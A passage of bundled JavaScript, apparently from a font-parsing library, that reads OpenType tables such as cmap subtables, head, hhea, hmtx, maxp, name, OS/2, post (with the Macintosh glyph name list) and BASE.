15275 if ( ( charCode & 65534 ) === 65534 || ( charCode & 65535 ) === 65535 )
15276 return 0;
15277 let segment = this.segments.find(
15278 ( s ) => s.startCode <= charCode && charCode <= s.endCode
15279 );
15280 if ( ! segment ) return 0;
15281 return segment.glyphIDs[ charCode - segment.startCode ];
15282 }
15283 supports( charCode ) {
15284 return this.getGlyphId( charCode ) !== 0;
15285 }
15286 getSupportedCharCodes( preservePropNames = false ) {
15287 if ( preservePropNames ) return this.segments;
15288 return this.segments.map( ( v ) => ( {
15289 start: v.startCode,
15290 end: v.endCode,
15291 } ) );
15292 }
15293}
15294class Format6 extends Subtable {
15295 constructor( p, platformID, encodingID ) {
15296 super( p, platformID, encodingID );
15297 this.format = 6;
15298 this.length = p.uint16;
15299 this.language = p.uint16;
15300 this.firstCode = p.uint16;
15301 this.entryCount = p.uint16;
15302 this.lastCode = this.firstCode + this.entryCount - 1;
15303 const getter = () =>
15304 [ ...new Array( this.entryCount ) ].map( ( _ ) => p.uint16 );
15305 lazy$1( this, `glyphIdArray`, getter );
15306 }
15307 supports( charCode ) {
15308 if ( charCode.charCodeAt ) {
15309 charCode = -1;
15310 console.warn(
15311 `supports(character) not implemented for cmap subtable format 6. only supports(id) is implemented.`
15312 );
15313 }
15314 if ( charCode < this.firstCode ) return {};
15315 if ( charCode > this.firstCode + this.entryCount ) return {};
15316 const code = charCode - this.firstCode;
15317 return { code: code, unicode: String.fromCodePoint( code ) };
15318 }
15319 reverse( glyphID ) {
15320 let pos = this.glyphIdArray.indexOf( glyphID );
15321 if ( pos > -1 ) return this.firstCode + pos;
15322 }
15323 getSupportedCharCodes( preservePropNames = false ) {
15324 if ( preservePropNames ) {
15325 return [ { firstCode: this.firstCode, lastCode: this.lastCode } ];
15326 }
15327 return [ { start: this.firstCode, end: this.lastCode } ];
15328 }
15329}
15330class Format8 extends Subtable {
15331 constructor( p, platformID, encodingID ) {
15332 super( p, platformID, encodingID );
15333 this.format = 8;
15334 p.uint16;
15335 this.length = p.uint32;
15336 this.language = p.uint32;
15337 this.is32 = [ ...new Array( 8192 ) ].map( ( _ ) => p.uint8 );
15338 this.numGroups = p.uint32;
15339 const getter = () =>
15340 [ ...new Array( this.numGroups ) ].map(
15341 ( _ ) => new SequentialMapGroup$1( p )
15342 );
15343 lazy$1( this, `groups`, getter );
15344 }
15345 supports( charCode ) {
15346 if ( charCode.charCodeAt ) {
15347 charCode = -1;
15348 console.warn(
15349 `supports(character) not implemented for cmap subtable format 8. only supports(id) is implemented.`
15350 );
15351 }
15352 return (
15353 this.groups.findIndex(
15354 ( s ) =>
15355 s.startcharCode <= charCode && charCode <= s.endcharCode
15356 ) !== -1
15357 );
15358 }
15359 reverse( glyphID ) {
15360 console.warn( `reverse not implemented for cmap subtable format 8` );
15361 return {};
15362 }
15363 getSupportedCharCodes( preservePropNames = false ) {
15364 if ( preservePropNames ) return this.groups;
15365 return this.groups.map( ( v ) => ( {
15366 start: v.startcharCode,
15367 end: v.endcharCode,
15368 } ) );
15369 }
15370}
15371class SequentialMapGroup$1 {
15372 constructor( p ) {
15373 this.startcharCode = p.uint32;
15374 this.endcharCode = p.uint32;
15375 this.startGlyphID = p.uint32;
15376 }
15377}
15378class Format10 extends Subtable {
15379 constructor( p, platformID, encodingID ) {
15380 super( p, platformID, encodingID );
15381 this.format = 10;
15382 p.uint16;
15383 this.length = p.uint32;
15384 this.language = p.uint32;
15385 this.startCharCode = p.uint32;
15386 this.numChars = p.uint32;
15387 this.endCharCode = this.startCharCode + this.numChars;
15388 const getter = () =>
15389 [ ...new Array( this.numChars ) ].map( ( _ ) => p.uint16 );
15390 lazy$1( this, `glyphs`, getter );
15391 }
15392 supports( charCode ) {
15393 if ( charCode.charCodeAt ) {
15394 charCode = -1;
15395 console.warn(
15396 `supports(character) not implemented for cmap subtable format 10. only supports(id) is implemented.`
15397 );
15398 }
15399 if ( charCode < this.startCharCode ) return false;
15400 if ( charCode > this.startCharCode + this.numChars ) return false;
15401 return charCode - this.startCharCode;
15402 }
15403 reverse( glyphID ) {
15404 console.warn( `reverse not implemented for cmap subtable format 10` );
15405 return {};
15406 }
15407 getSupportedCharCodes( preservePropNames = false ) {
15408 if ( preservePropNames ) {
15409 return [
15410 {
15411 startCharCode: this.startCharCode,
15412 endCharCode: this.endCharCode,
15413 },
15414 ];
15415 }
15416 return [ { start: this.startCharCode, end: this.endCharCode } ];
15417 }
15418}
15419class Format12 extends Subtable {
15420 constructor( p, platformID, encodingID ) {
15421 super( p, platformID, encodingID );
15422 this.format = 12;
15423 p.uint16;
15424 this.length = p.uint32;
15425 this.language = p.uint32;
15426 this.numGroups = p.uint32;
15427 const getter = () =>
15428 [ ...new Array( this.numGroups ) ].map(
15429 ( _ ) => new SequentialMapGroup( p )
15430 );
15431 lazy$1( this, `groups`, getter );
15432 }
15433 supports( charCode ) {
15434 if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
15435 if ( 55296 <= charCode && charCode <= 57343 ) return 0;
15436 if ( ( charCode & 65534 ) === 65534 || ( charCode & 65535 ) === 65535 )
15437 return 0;
15438 return (
15439 this.groups.findIndex(
15440 ( s ) =>
15441 s.startCharCode <= charCode && charCode <= s.endCharCode
15442 ) !== -1
15443 );
15444 }
15445 reverse( glyphID ) {
15446 for ( let group of this.groups ) {
15447 let start = group.startGlyphID;
15448 if ( start > glyphID ) continue;
15449 if ( start === glyphID ) return group.startCharCode;
15450 let end = start + ( group.endCharCode - group.startCharCode );
15451 if ( end < glyphID ) continue;
15452 const code = group.startCharCode + ( glyphID - start );
15453 return { code: code, unicode: String.fromCodePoint( code ) };
15454 }
15455 return {};
15456 }
15457 getSupportedCharCodes( preservePropNames = false ) {
15458 if ( preservePropNames ) return this.groups;
15459 return this.groups.map( ( v ) => ( {
15460 start: v.startCharCode,
15461 end: v.endCharCode,
15462 } ) );
15463 }
15464}
15465class SequentialMapGroup {
15466 constructor( p ) {
15467 this.startCharCode = p.uint32;
15468 this.endCharCode = p.uint32;
15469 this.startGlyphID = p.uint32;
15470 }
15471}
15472class Format13 extends Subtable {
15473 constructor( p, platformID, encodingID ) {
15474 super( p, platformID, encodingID );
15475 this.format = 13;
15476 p.uint16;
15477 this.length = p.uint32;
15478 this.language = p.uint32;
15479 this.numGroups = p.uint32;
15480 const getter = [ ...new Array( this.numGroups ) ].map(
15481 ( _ ) => new ConstantMapGroup( p )
15482 );
15483 lazy$1( this, `groups`, getter );
15484 }
15485 supports( charCode ) {
15486 if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
15487 return (
15488 this.groups.findIndex(
15489 ( s ) =>
15490 s.startCharCode <= charCode && charCode <= s.endCharCode
15491 ) !== -1
15492 );
15493 }
15494 reverse( glyphID ) {
15495 console.warn( `reverse not implemented for cmap subtable format 13` );
15496 return {};
15497 }
15498 getSupportedCharCodes( preservePropNames = false ) {
15499 if ( preservePropNames ) return this.groups;
15500 return this.groups.map( ( v ) => ( {
15501 start: v.startCharCode,
15502 end: v.endCharCode,
15503 } ) );
15504 }
15505}
15506class ConstantMapGroup {
15507 constructor( p ) {
15508 this.startCharCode = p.uint32;
15509 this.endCharCode = p.uint32;
15510 this.glyphID = p.uint32;
15511 }
15512}
15513class Format14 extends Subtable {
15514 constructor( p, platformID, encodingID ) {
15515 super( p, platformID, encodingID );
15516 this.subTableStart = p.currentPosition;
15517 this.format = 14;
15518 this.length = p.uint32;
15519 this.numVarSelectorRecords = p.uint32;
15520 lazy$1( this, `varSelectors`, () =>
15521 [ ...new Array( this.numVarSelectorRecords ) ].map(
15522 ( _ ) => new VariationSelector( p )
15523 )
15524 );
15525 }
15526 supports() {
15527 console.warn( `supports not implemented for cmap subtable format 14` );
15528 return 0;
15529 }
15530 getSupportedCharCodes() {
15531 console.warn(
15532 `getSupportedCharCodes not implemented for cmap subtable format 14`
15533 );
15534 return [];
15535 }
15536 reverse( glyphID ) {
15537 console.warn( `reverse not implemented for cmap subtable format 14` );
15538 return {};
15539 }
15540 supportsVariation( variation ) {
15541 let v = this.varSelector.find(
15542 ( uvs ) => uvs.varSelector === variation
15543 );
15544 return v ? v : false;
15545 }
15546 getSupportedVariations() {
15547 return this.varSelectors.map( ( v ) => v.varSelector );
15548 }
15549}
15550class VariationSelector {
15551 constructor( p ) {
15552 this.varSelector = p.uint24;
15553 this.defaultUVSOffset = p.Offset32;
15554 this.nonDefaultUVSOffset = p.Offset32;
15555 }
15556}
15557function createSubTable( parser, platformID, encodingID ) {
15558 const format = parser.uint16;
15559 if ( format === 0 ) return new Format0( parser, platformID, encodingID );
15560 if ( format === 2 ) return new Format2( parser, platformID, encodingID );
15561 if ( format === 4 ) return new Format4( parser, platformID, encodingID );
15562 if ( format === 6 ) return new Format6( parser, platformID, encodingID );
15563 if ( format === 8 ) return new Format8( parser, platformID, encodingID );
15564 if ( format === 10 ) return new Format10( parser, platformID, encodingID );
15565 if ( format === 12 ) return new Format12( parser, platformID, encodingID );
15566 if ( format === 13 ) return new Format13( parser, platformID, encodingID );
15567 if ( format === 14 ) return new Format14( parser, platformID, encodingID );
15568 return {};
15569}
15570class cmap extends SimpleTable {
15571 constructor( dict, dataview ) {
15572 const { p: p } = super( dict, dataview );
15573 this.version = p.uint16;
15574 this.numTables = p.uint16;
15575 this.encodingRecords = [ ...new Array( this.numTables ) ].map(
15576 ( _ ) => new EncodingRecord( p, this.tableStart )
15577 );
15578 }
15579 getSubTable( tableID ) {
15580 return this.encodingRecords[ tableID ].table;
15581 }
15582 getSupportedEncodings() {
15583 return this.encodingRecords.map( ( r ) => ( {
15584 platformID: r.platformID,
15585 encodingId: r.encodingID,
15586 } ) );
15587 }
15588 getSupportedCharCodes( platformID, encodingID ) {
15589 const recordID = this.encodingRecords.findIndex(
15590 ( r ) => r.platformID === platformID && r.encodingID === encodingID
15591 );
15592 if ( recordID === -1 ) return false;
15593 const subtable = this.getSubTable( recordID );
15594 return subtable.getSupportedCharCodes();
15595 }
15596 reverse( glyphid ) {
15597 for ( let i = 0; i < this.numTables; i++ ) {
15598 let code = this.getSubTable( i ).reverse( glyphid );
15599 if ( code ) return code;
15600 }
15601 }
15602 getGlyphId( char ) {
15603 let last = 0;
15604 this.encodingRecords.some( ( _, tableID ) => {
15605 let t = this.getSubTable( tableID );
15606 if ( ! t.getGlyphId ) return false;
15607 last = t.getGlyphId( char );
15608 return last !== 0;
15609 } );
15610 return last;
15611 }
15612 supports( char ) {
15613 return this.encodingRecords.some( ( _, tableID ) => {
15614 const t = this.getSubTable( tableID );
15615 return t.supports && t.supports( char ) !== false;
15616 } );
15617 }
15618 supportsVariation( variation ) {
15619 return this.encodingRecords.some( ( _, tableID ) => {
15620 const t = this.getSubTable( tableID );
15621 return (
15622 t.supportsVariation &&
15623 t.supportsVariation( variation ) !== false
15624 );
15625 } );
15626 }
15627}
15628class EncodingRecord {
15629 constructor( p, tableStart ) {
15630 const platformID = ( this.platformID = p.uint16 );
15631 const encodingID = ( this.encodingID = p.uint16 );
15632 const offset = ( this.offset = p.Offset32 );
15633 lazy$1( this, `table`, () => {
15634 p.currentPosition = tableStart + offset;
15635 return createSubTable( p, platformID, encodingID );
15636 } );
15637 }
15638}
15639var cmap$1 = Object.freeze( { __proto__: null, cmap: cmap } );
15640class head extends SimpleTable {
15641 constructor( dict, dataview ) {
15642 const { p: p } = super( dict, dataview );
15643 this.load( {
15644 majorVersion: p.uint16,
15645 minorVersion: p.uint16,
15646 fontRevision: p.fixed,
15647 checkSumAdjustment: p.uint32,
15648 magicNumber: p.uint32,
15649 flags: p.flags( 16 ),
15650 unitsPerEm: p.uint16,
15651 created: p.longdatetime,
15652 modified: p.longdatetime,
15653 xMin: p.int16,
15654 yMin: p.int16,
15655 xMax: p.int16,
15656 yMax: p.int16,
15657 macStyle: p.flags( 16 ),
15658 lowestRecPPEM: p.uint16,
15659 fontDirectionHint: p.uint16,
15660 indexToLocFormat: p.uint16,
15661 glyphDataFormat: p.uint16,
15662 } );
15663 }
15664}
15665var head$1 = Object.freeze( { __proto__: null, head: head } );
15666class hhea extends SimpleTable {
15667 constructor( dict, dataview ) {
15668 const { p: p } = super( dict, dataview );
15669 this.majorVersion = p.uint16;
15670 this.minorVersion = p.uint16;
15671 this.ascender = p.fword;
15672 this.descender = p.fword;
15673 this.lineGap = p.fword;
15674 this.advanceWidthMax = p.ufword;
15675 this.minLeftSideBearing = p.fword;
15676 this.minRightSideBearing = p.fword;
15677 this.xMaxExtent = p.fword;
15678 this.caretSlopeRise = p.int16;
15679 this.caretSlopeRun = p.int16;
15680 this.caretOffset = p.int16;
15681 p.int16;
15682 p.int16;
15683 p.int16;
15684 p.int16;
15685 this.metricDataFormat = p.int16;
15686 this.numberOfHMetrics = p.uint16;
15687 p.verifyLength();
15688 }
15689}
15690var hhea$1 = Object.freeze( { __proto__: null, hhea: hhea } );
15691class hmtx extends SimpleTable {
15692 constructor( dict, dataview, tables ) {
15693 const { p: p } = super( dict, dataview );
15694 const numberOfHMetrics = tables.hhea.numberOfHMetrics;
15695 const numGlyphs = tables.maxp.numGlyphs;
15696 const metricsStart = p.currentPosition;
15697 lazy$1( this, `hMetrics`, () => {
15698 p.currentPosition = metricsStart;
15699 return [ ...new Array( numberOfHMetrics ) ].map(
15700 ( _ ) => new LongHorMetric( p.uint16, p.int16 )
15701 );
15702 } );
15703 if ( numberOfHMetrics < numGlyphs ) {
15704 const lsbStart = metricsStart + numberOfHMetrics * 4;
15705 lazy$1( this, `leftSideBearings`, () => {
15706 p.currentPosition = lsbStart;
15707 return [ ...new Array( numGlyphs - numberOfHMetrics ) ].map(
15708 ( _ ) => p.int16
15709 );
15710 } );
15711 }
15712 }
15713}
15714class LongHorMetric {
15715 constructor( w, b ) {
15716 this.advanceWidth = w;
15717 this.lsb = b;
15718 }
15719}
15720var hmtx$1 = Object.freeze( { __proto__: null, hmtx: hmtx } );
15721class maxp extends SimpleTable {
15722 constructor( dict, dataview ) {
15723 const { p: p } = super( dict, dataview );
15724 this.version = p.legacyFixed;
15725 this.numGlyphs = p.uint16;
15726 if ( this.version === 1 ) {
15727 this.maxPoints = p.uint16;
15728 this.maxContours = p.uint16;
15729 this.maxCompositePoints = p.uint16;
15730 this.maxCompositeContours = p.uint16;
15731 this.maxZones = p.uint16;
15732 this.maxTwilightPoints = p.uint16;
15733 this.maxStorage = p.uint16;
15734 this.maxFunctionDefs = p.uint16;
15735 this.maxInstructionDefs = p.uint16;
15736 this.maxStackElements = p.uint16;
15737 this.maxSizeOfInstructions = p.uint16;
15738 this.maxComponentElements = p.uint16;
15739 this.maxComponentDepth = p.uint16;
15740 }
15741 p.verifyLength();
15742 }
15743}
15744var maxp$1 = Object.freeze( { __proto__: null, maxp: maxp } );
15745class lib_font_browser_name extends SimpleTable {
15746 constructor( dict, dataview ) {
15747 const { p: p } = super( dict, dataview );
15748 this.format = p.uint16;
15749 this.count = p.uint16;
15750 this.stringOffset = p.Offset16;
15751 this.nameRecords = [ ...new Array( this.count ) ].map(
15752 ( _ ) => new NameRecord( p, this )
15753 );
15754 if ( this.format === 1 ) {
15755 this.langTagCount = p.uint16;
15756 this.langTagRecords = [ ...new Array( this.langTagCount ) ].map(
15757 ( _ ) => new LangTagRecord( p.uint16, p.Offset16 )
15758 );
15759 }
15760 this.stringStart = this.tableStart + this.stringOffset;
15761 }
15762 get( nameID ) {
15763 let record = this.nameRecords.find(
15764 ( record ) => record.nameID === nameID
15765 );
15766 if ( record ) return record.string;
15767 }
15768}
15769class LangTagRecord {
15770 constructor( length, offset ) {
15771 this.length = length;
15772 this.offset = offset;
15773 }
15774}
15775class NameRecord {
15776 constructor( p, nameTable ) {
15777 this.platformID = p.uint16;
15778 this.encodingID = p.uint16;
15779 this.languageID = p.uint16;
15780 this.nameID = p.uint16;
15781 this.length = p.uint16;
15782 this.offset = p.Offset16;
15783 lazy$1( this, `string`, () => {
15784 p.currentPosition = nameTable.stringStart + this.offset;
15785 return decodeString( p, this );
15786 } );
15787 }
15788}
15789function decodeString( p, record ) {
15790 const { platformID: platformID, length: length } = record;
15791 if ( length === 0 ) return ``;
15792 if ( platformID === 0 || platformID === 3 ) {
15793 const str = [];
15794 for ( let i = 0, e = length / 2; i < e; i++ )
15795 str[ i ] = String.fromCharCode( p.uint16 );
15796 return str.join( `` );
15797 }
15798 const bytes = p.readBytes( length );
15799 const str = [];
15800 bytes.forEach( function ( b, i ) {
15801 str[ i ] = String.fromCharCode( b );
15802 } );
15803 return str.join( `` );
15804}
15805var name$1 = Object.freeze( { __proto__: null, name: lib_font_browser_name } );
15806class OS2 extends SimpleTable {
15807 constructor( dict, dataview ) {
15808 const { p: p } = super( dict, dataview );
15809 this.version = p.uint16;
15810 this.xAvgCharWidth = p.int16;
15811 this.usWeightClass = p.uint16;
15812 this.usWidthClass = p.uint16;
15813 this.fsType = p.uint16;
15814 this.ySubscriptXSize = p.int16;
15815 this.ySubscriptYSize = p.int16;
15816 this.ySubscriptXOffset = p.int16;
15817 this.ySubscriptYOffset = p.int16;
15818 this.ySuperscriptXSize = p.int16;
15819 this.ySuperscriptYSize = p.int16;
15820 this.ySuperscriptXOffset = p.int16;
15821 this.ySuperscriptYOffset = p.int16;
15822 this.yStrikeoutSize = p.int16;
15823 this.yStrikeoutPosition = p.int16;
15824 this.sFamilyClass = p.int16;
15825 this.panose = [ ...new Array( 10 ) ].map( ( _ ) => p.uint8 );
15826 this.ulUnicodeRange1 = p.flags( 32 );
15827 this.ulUnicodeRange2 = p.flags( 32 );
15828 this.ulUnicodeRange3 = p.flags( 32 );
15829 this.ulUnicodeRange4 = p.flags( 32 );
15830 this.achVendID = p.tag;
15831 this.fsSelection = p.uint16;
15832 this.usFirstCharIndex = p.uint16;
15833 this.usLastCharIndex = p.uint16;
15834 this.sTypoAscender = p.int16;
15835 this.sTypoDescender = p.int16;
15836 this.sTypoLineGap = p.int16;
15837 this.usWinAscent = p.uint16;
15838 this.usWinDescent = p.uint16;
15839 if ( this.version === 0 ) return p.verifyLength();
15840 this.ulCodePageRange1 = p.flags( 32 );
15841 this.ulCodePageRange2 = p.flags( 32 );
15842 if ( this.version === 1 ) return p.verifyLength();
15843 this.sxHeight = p.int16;
15844 this.sCapHeight = p.int16;
15845 this.usDefaultChar = p.uint16;
15846 this.usBreakChar = p.uint16;
15847 this.usMaxContext = p.uint16;
15848 if ( this.version <= 4 ) return p.verifyLength();
15849 this.usLowerOpticalPointSize = p.uint16;
15850 this.usUpperOpticalPointSize = p.uint16;
15851 if ( this.version === 5 ) return p.verifyLength();
15852 }
15853}
15854var OS2$1 = Object.freeze( { __proto__: null, OS2: OS2 } );
15855class post extends SimpleTable {
15856 constructor( dict, dataview ) {
15857 const { p: p } = super( dict, dataview );
15858 this.version = p.legacyFixed;
15859 this.italicAngle = p.fixed;
15860 this.underlinePosition = p.fword;
15861 this.underlineThickness = p.fword;
15862 this.isFixedPitch = p.uint32;
15863 this.minMemType42 = p.uint32;
15864 this.maxMemType42 = p.uint32;
15865 this.minMemType1 = p.uint32;
15866 this.maxMemType1 = p.uint32;
15867 if ( this.version === 1 || this.version === 3 ) return p.verifyLength();
15868 this.numGlyphs = p.uint16;
15869 if ( this.version === 2 ) {
15870 this.glyphNameIndex = [ ...new Array( this.numGlyphs ) ].map(
15871 ( _ ) => p.uint16
15872 );
15873 this.namesOffset = p.currentPosition;
15874 this.glyphNameOffsets = [ 1 ];
15875 for ( let i = 0; i < this.numGlyphs; i++ ) {
15876 let index = this.glyphNameIndex[ i ];
15877 if ( index < macStrings.length ) {
15878 this.glyphNameOffsets.push( this.glyphNameOffsets[ i ] );
15879 continue;
15880 }
15881 let bytelength = p.int8;
15882 p.skip( bytelength );
15883 this.glyphNameOffsets.push(
15884 this.glyphNameOffsets[ i ] + bytelength + 1
15885 );
15886 }
15887 }
15888 if ( this.version === 2.5 ) {
15889 this.offset = [ ...new Array( this.numGlyphs ) ].map(
15890 ( _ ) => p.int8
15891 );
15892 }
15893 }
15894 getGlyphName( glyphid ) {
15895 if ( this.version !== 2 ) {
15896 console.warn(
15897 `post table version ${ this.version } does not support glyph name lookups`
15898 );
15899 return ``;
15900 }
15901 let index = this.glyphNameIndex[ glyphid ];
15902 if ( index < 258 ) return macStrings[ index ];
15903 let offset = this.glyphNameOffsets[ glyphid ];
15904 let next = this.glyphNameOffsets[ glyphid + 1 ];
15905 let len = next - offset - 1;
15906 if ( len === 0 ) return `.notdef.`;
15907 this.parser.currentPosition = this.namesOffset + offset;
15908 const data = this.parser.readBytes(
15909 len,
15910 this.namesOffset + offset,
15911 8,
15912 true
15913 );
15914 return data.map( ( b ) => String.fromCharCode( b ) ).join( `` );
15915 }
15916}
15917const macStrings = [
15918 `.notdef`,
15919 `.null`,
15920 `nonmarkingreturn`,
15921 `space`,
15922 `exclam`,
15923 `quotedbl`,
15924 `numbersign`,
15925 `dollar`,
15926 `percent`,
15927 `ampersand`,
15928 `quotesingle`,
15929 `parenleft`,
15930 `parenright`,
15931 `asterisk`,
15932 `plus`,
15933 `comma`,
15934 `hyphen`,
15935 `period`,
15936 `slash`,
15937 `zero`,
15938 `one`,
15939 `two`,
15940 `three`,
15941 `four`,
15942 `five`,
15943 `six`,
15944 `seven`,
15945 `eight`,
15946 `nine`,
15947 `colon`,
15948 `semicolon`,
15949 `less`,
15950 `equal`,
15951 `greater`,
15952 `question`,
15953 `at`,
15954 `A`,
15955 `B`,
15956 `C`,
15957 `D`,
15958 `E`,
15959 `F`,
15960 `G`,
15961 `H`,
15962 `I`,
15963 `J`,
15964 `K`,
15965 `L`,
15966 `M`,
15967 `N`,
15968 `O`,
15969 `P`,
15970 `Q`,
15971 `R`,
15972 `S`,
15973 `T`,
15974 `U`,
15975 `V`,
15976 `W`,
15977 `X`,
15978 `Y`,
15979 `Z`,
15980 `bracketleft`,
15981 `backslash`,
15982 `bracketright`,
15983 `asciicircum`,
15984 `underscore`,
15985 `grave`,
15986 `a`,
15987 `b`,
15988 `c`,
15989 `d`,
15990 `e`,
15991 `f`,
15992 `g`,
15993 `h`,
15994 `i`,
15995 `j`,
15996 `k`,
15997 `l`,
15998 `m`,
15999 `n`,
16000 `o`,
16001 `p`,
16002 `q`,
16003 `r`,
16004 `s`,
16005 `t`,
16006 `u`,
16007 `v`,
16008 `w`,
16009 `x`,
16010 `y`,
16011 `z`,
16012 `braceleft`,
16013 `bar`,
16014 `braceright`,
16015 `asciitilde`,
16016 `Adieresis`,
16017 `Aring`,
16018 `Ccedilla`,
16019 `Eacute`,
16020 `Ntilde`,
16021 `Odieresis`,
16022 `Udieresis`,
16023 `aacute`,
16024 `agrave`,
16025 `acircumflex`,
16026 `adieresis`,
16027 `atilde`,
16028 `aring`,
16029 `ccedilla`,
16030 `eacute`,
16031 `egrave`,
16032 `ecircumflex`,
16033 `edieresis`,
16034 `iacute`,
16035 `igrave`,
16036 `icircumflex`,
16037 `idieresis`,
16038 `ntilde`,
16039 `oacute`,
16040 `ograve`,
16041 `ocircumflex`,
16042 `odieresis`,
16043 `otilde`,
16044 `uacute`,
16045 `ugrave`,
16046 `ucircumflex`,
16047 `udieresis`,
16048 `dagger`,
16049 `degree`,
16050 `cent`,
16051 `sterling`,
16052 `section`,
16053 `bullet`,
16054 `paragraph`,
16055 `germandbls`,
16056 `registered`,
16057 `copyright`,
16058 `trademark`,
16059 `acute`,
16060 `dieresis`,
16061 `notequal`,
16062 `AE`,
16063 `Oslash`,
16064 `infinity`,
16065 `plusminus`,
16066 `lessequal`,
16067 `greaterequal`,
16068 `yen`,
16069 `mu`,
16070 `partialdiff`,
16071 `summation`,
16072 `product`,
16073 `pi`,
16074 `integral`,
16075 `ordfeminine`,
16076 `ordmasculine`,
16077 `Omega`,
16078 `ae`,
16079 `oslash`,
16080 `questiondown`,
16081 `exclamdown`,
16082 `logicalnot`,
16083 `radical`,
16084 `florin`,
16085 `approxequal`,
16086 `Delta`,
16087 `guillemotleft`,
16088 `guillemotright`,
16089 `ellipsis`,
16090 `nonbreakingspace`,
16091 `Agrave`,
16092 `Atilde`,
16093 `Otilde`,
16094 `OE`,
16095 `oe`,
16096 `endash`,
16097 `emdash`,
16098 `quotedblleft`,
16099 `quotedblright`,
16100 `quoteleft`,
16101 `quoteright`,
16102 `divide`,
16103 `lozenge`,
16104 `ydieresis`,
16105 `Ydieresis`,
16106 `fraction`,
16107 `currency`,
16108 `guilsinglleft`,
16109 `guilsinglright`,
16110 `fi`,
16111 `fl`,
16112 `daggerdbl`,
16113 `periodcentered`,
16114 `quotesinglbase`,
16115 `quotedblbase`,
16116 `perthousand`,
16117 `Acircumflex`,
16118 `Ecircumflex`,
16119 `Aacute`,
16120 `Edieresis`,
16121 `Egrave`,
16122 `Iacute`,
16123 `Icircumflex`,
16124 `Idieresis`,
16125 `Igrave`,
16126 `Oacute`,
16127 `Ocircumflex`,
16128 `apple`,
16129 `Ograve`,
16130 `Uacute`,
16131 `Ucircumflex`,
16132 `Ugrave`,
16133 `dotlessi`,
16134 `circumflex`,
16135 `tilde`,
16136 `macron`,
16137 `breve`,
16138 `dotaccent`,
16139 `ring`,
16140 `cedilla`,
16141 `hungarumlaut`,
16142 `ogonek`,
16143 `caron`,
16144 `Lslash`,
16145 `lslash`,
16146 `Scaron`,
16147 `scaron`,
16148 `Zcaron`,
16149 `zcaron`,
16150 `brokenbar`,
16151 `Eth`,
16152 `eth`,
16153 `Yacute`,
16154 `yacute`,
16155 `Thorn`,
16156 `thorn`,
16157 `minus`,
16158 `multiply`,
16159 `onesuperior`,
16160 `twosuperior`,
16161 `threesuperior`,
16162 `onehalf`,
16163 `onequarter`,
16164 `threequarters`,
16165 `franc`,
16166 `Gbreve`,
16167 `gbreve`,
16168 `Idotaccent`,
16169 `Scedilla`,
16170 `scedilla`,
16171 `Cacute`,
16172 `cacute`,
16173 `Ccaron`,
16174 `ccaron`,
16175 `dcroat`,
16176];
16177var post$1 = Object.freeze( { __proto__: null, post: post } );
16178class BASE extends SimpleTable {
16179 constructor( dict, dataview ) {
16180 const { p: p } = super( dict, dataview );
16181 this.majorVersion = p.uint16;
16182 this.minorVersion = p.uint16;
16183 this.horizAxisOffset = p.Offset16;
16184 this.vertAxisOffset = p.Offset16;
16185 lazy$1(
16186 this,
16187 `horizAxis`,
16188 () =>
16189 new AxisTable(
16190 { offset: dict.offset + this.horizAxisOffset },
16191 dataview
16192 )
16193 );
16194 lazy$1(
16195 this,
16196 `vertAxis`,
16197 () =>
16198 new AxisTable(
16199 { offset: dict.offset + this.vertAxisOffset },
16200 dataview
16201 )
16202 );
16203 if ( this.majorVersion === 1 && this.minorVersion === 1 ) {
16204 this.itemVarStoreOffset = p.Offset32;
16205 lazy$1(
16206 this,
16207 `itemVarStore`,
16208 () =>
16209 new AxisTable(
16210 { offset: dict.offset + this.itemVarStoreOffset },
16211 dataview
16212 )
16213 );
16214 }
16215 }
16216}
16217class AxisTable extends SimpleTable {
16218 constructor( dict, dataview ) {
16219 const { p: p } = super( dict, dataview, `AxisTable` );
16220 this.baseTagListOffset = p.Offset16;
16221 this.baseScriptListOffset = p.Offset16;
16222 lazy$1(
16223 this,
16224 `baseTagList`,
16225 () =>
16226 new BaseTagListTable(
16227 { offset: dict.offset + this.baseTagListOffset },
16228 dataview
16229 )
16230 );
16231 lazy$1(
16232 this,
16233 `baseScriptList`,
16234 () =>
16235 new BaseScriptListTable(
16236 { offset: dict.offset + this.baseScriptListOffset },
16237 dataview
16238 )
16239 );
16240 }
16241}
16242class BaseTagListTable extends SimpleTable {
16243 constructor( dict, dataview ) {
16244 const { p: p } = super( dict, dataview, `BaseTagListTable` );
16245 this.baseTagCount = p.uint16;
16246 this.baselineTags = [ ...new Array( this.baseTagCount ) ].map(
16247 ( _ ) => p.tag
16248 );
16249 }
16250}
16251class BaseScriptListTable extends SimpleTable {
16252 constructor( dict, dataview ) {
16253 const { p: p } = super( dict, dataview, `BaseScriptListTable` );
16254 this.baseScriptCount = p.uint16;
16255 const recordStart = p.currentPosition;
16256 lazy$1( this, `baseScriptRecords`, () => {
16257 p.currentPosition = recordStart;
16258 return [ ...new Array( this.baseScriptCount ) ].map(
16259 ( _ ) => new BaseScriptRecord( this.start, p )
16260 );
16261 } );
16262 }
16263}
16264class BaseScriptRecord {
16265 constructor( baseScriptListTableStart, p ) {
16266 this.baseScriptTag = p.tag;
16267 this.baseScriptOffset = p.Offset16;
16268 lazy$1( this, `baseScriptTable`, () => {
16269 p.currentPosition =
16270 baseScriptListTableStart + this.baseScriptOffset;
16271 return new BaseScriptTable( p );
16272 } );
16273 }
16274}
16275class BaseScriptTable {
16276 constructor( p ) {
16277 this.start = p.currentPosition;
16278 this.baseValuesOffset = p.Offset16;
16279 this.defaultMinMaxOffset = p.Offset16;
16280 this.baseLangSysCount = p.uint16;
16281 this.baseLangSysRecords = [ ...new Array( this.baseLangSysCount ) ].map(
16282 ( _ ) => new BaseLangSysRecord( this.start, p )
16283 );
16284 lazy$1( this, `baseValues`, () => {
16285 p.currentPosition = this.start + this.baseValuesOffset;
16286 return new BaseValuesTable( p );
16287 } );
16288 lazy$1( this, `defaultMinMax`, () => {
16289 p.currentPosition = this.start + this.defaultMinMaxOffset;
16290 return new MinMaxTable( p );
16291 } );
16292 }
16293}
16294class BaseLangSysRecord {
16295 constructor( baseScriptTableStart, p ) {
16296 this.baseLangSysTag = p.tag;
16297 this.minMaxOffset = p.Offset16;
16298 lazy$1( this, `minMax`, () => {
16299 p.currentPosition = baseScriptTableStart + this.minMaxOffset;
16300 return new MinMaxTable( p );
16301 } );
16302 }
16303}
16304class BaseValuesTable {
16305 constructor( p ) {
16306 this.parser = p;
16307 this.start = p.currentPosition;
